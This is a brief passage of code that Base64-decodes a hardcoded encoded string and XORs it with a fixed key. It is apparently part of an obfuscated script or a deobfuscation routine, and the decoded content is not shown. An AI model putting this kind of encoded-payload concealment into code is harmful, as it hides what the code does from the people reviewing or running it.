WOE]dFgQIEQocJQOCHXNcDBUDURsYCBIDFxBcAVXCUKIICk8=","b":"wtxtdxfeks"}")

d = Utils.Base64.decode(a.a);

x = Utils.xor(d, a.b)
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